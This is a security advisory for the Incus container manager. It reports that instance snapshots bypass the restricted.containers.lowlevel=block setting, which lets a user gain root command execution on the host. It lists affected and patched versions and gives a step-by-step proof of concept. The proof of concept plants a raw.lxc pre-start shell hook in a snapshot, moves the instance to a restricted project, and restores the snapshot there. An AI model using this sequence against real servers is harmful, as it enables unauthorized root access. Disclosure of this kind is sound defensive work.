| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/lxc/incus | all versions | |
| github.com/lxc/incus/v6 | all versions | |
| github.com/lxc/incus/v7 | < 7.2.0 | 7.2.0 |
| github.com/lxc/incus/v7/cmd/incusd | < 7.2.0 | 7.2.0 |
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
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